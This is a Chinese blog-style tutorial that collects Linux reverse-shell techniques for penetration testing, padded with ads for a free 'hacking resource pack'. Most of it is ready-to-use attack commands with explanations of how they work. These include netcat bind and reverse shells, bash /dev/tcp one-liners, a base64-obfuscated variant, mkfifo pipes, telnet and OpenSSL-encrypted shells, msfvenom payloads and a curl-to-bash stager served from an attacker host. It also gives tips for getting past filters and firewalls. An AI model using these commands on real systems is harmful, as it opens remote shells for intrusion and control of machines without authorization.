Bootstrap

干货分享—Linux之渗透测试常用反弹shell方法总结!黑客技术零基础入门到精通实战教程!

免责声明

本公众号提供的工具、教程、学习路线、精品文章均为原创或互联网收集,旨在提高网络安全技术水平为目的,只做技术研究,谨遵守国家相关法律法规,请勿用于违法用途,如果您对文章内容有疑问,可以尝试加入交流群讨论或留言私信,如有侵权请联系小编处理。

1、内容速览

反弹shell介绍

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的! 反弹shell分为:

正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。

不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。

反向反弹: 被控端主动发送请求连接我们的控制端。

这种方法是可以想办法避开防火墙和路由的一些限制的!

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

常用反弹方式

测试机器:

  • kali: 192.168.1.200(可连通外网,我一般用他作为攻击机,控制端)

  • contos7: 43.128.11.131(腾讯云的一台vps,我一般用他作为常规服务器,被控端)

NetCat(NC)反弹

无论是Windows还是Linux都是可以使用NC进行反弹的。

正向NC

正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接

# 被控端(l:监听模式,p:指定端口号,v:详细信息(这里的信息指的是指令执行过程),vv是更详细的信息)
nc -lvvp 端口号 -e 使用的sh
# 比如:
nc -lvvp 4578 -e /bin/bash
# 控制端
nc 目标IP 端口号
# 比如
nc 43.128.11.131 4578 
# msf的攻击载荷(不太推荐使用nc作为msf的正向连接工具,稳定性比较差,一般只能上线shell,很难获得稳定的meterpreter)
payload/cmd/unix/bind_netcat
payload/cmd/unix/reverse_netcat

反向NC

被控端反向shell种类非常多

可以使用在线工具生成: https://weibell.github.io/reverse-shell-generator/

下面我会详细剖析一些常用的被控端反向shell的命令原理!

使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测

但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施

为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。

# 控制端:
nc –lvvp 端口
# 被控端:
nc -e /bin/bash IP 端口

一般直接使用nc反弹的shell并不是很稳定 并且可能还会出现没有-e参数的情况(-e: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数)

这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!

# 其他反弹shell命令
# 最基础的命令,下面有详解
bash -i >& /dev/tcp/IP/端口 0>&1
## 这个命令和上面的是等价的,只是写法有点不同!
bash -i > /dev/tcp/IP/端口 0>&1 2>&1
## `exec 5<>/dev/tcp/IP/端口`这里自定义了一个文件描述符
## `cat <&amp;5`这里是读取我们自定义的文件描述符文件,并且使用管道符传给接下来的命令
## `while read line; do $line 2>&amp;5 >&amp;5`这里是创建一个变量line,然后读取上一步传来的数据中的每一段然后在将标准输出和错误输出都重定向到我们自定义的文件描述符5中
exec 5<>/dev/tcp/IP/端口;cat <&amp;5 | while read line; do $line 2>&amp;5 >&amp;5; done
## 这里和上面类似,这里创建的文件描述符是181,并且在一开始就将输入重定向到181这个文件描述符中。
0<&amp;181-;exec 181<>/dev/tcp/IP/端口;sh <&amp;181 >&amp;181 2>&amp;181

## 这里和第一个命令一样,只是多了一层base64的编码!
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i"
# msf攻击载荷
cmd/unix/bind_netcat
cmd/unix/reverse_netcat

如果目标机器/dev/tcp也无法使用,这可以尝试使用下面方法!

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/f
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

# 使用msf生成
## 比如
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw
mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&amp;1; rm /tmp/ysngi

rm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件

rm /tmp/临时文件: 首先删除临时文件,以免造成冲突,(后面的分号;表述依次逐个执行后面的命令。)

mkfifo /tmp/临时文件: mkfifo是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符

传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<的话可以持续接收!比如cat < 临时文件)

cat /tmp/临时文件 | /bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件

cat /tmp/临时文件: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令

/bin/bash -i 2>&amp;1 | nc IP 端口 >/tmp/临时文件: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件

msf可以自动的快速生成这种命令!

mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)

我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~

Telnet反弹

telnet命令: 用于登录远程主机,对远程主机进行管理

它是ssh前辈,但因为安全性方面远不如ssh

甚至直接是使用明文传输数据的,已经逐步被弃用了

但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。

正向shell
# 攻击机开启两个端口进行监听一个用于输入,一个用于输出
nc -lvvp 输入端口
nc -lvvp 输出端口
# 目标机
telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口
反向shell
# 攻击机
nc -lvvp 端口
# 目标机:
rm -f a &amp;&amp; mknod a p &amp;&amp; telnet IP 端口 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>a

OpenSSL

SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库

具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。

首先我们利用此库反弹shell,需要生成一个秘钥文件

# 生成秘钥(在我们攻击机上生成的)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# 在攻击机中启动监听(在之前生成秘钥的文件夹中执行)
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# 在目标机器上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&amp;1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s

所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)

Curl

没错,这就是Linux系统中的下载命令

因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!

首先我们需要在公网服务器中创建一个index.html文件

并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。

# 攻击端: 
echo 'bash -i >&amp; /dev/tcp/IP/端口' > index.html
# 比如
echo 'bash -i >&amp; /dev/tcp/43.128.11.131/4545' > index.html
# 这里&amp;是让这个命令后台执行
python3 -m http.server &amp;
nc -lvvp 4545 
# 目标机:
curl 43.128.11.131:8000|bash

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
在这里插入图片描述
在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:
在这里插入图片描述
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述

所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

;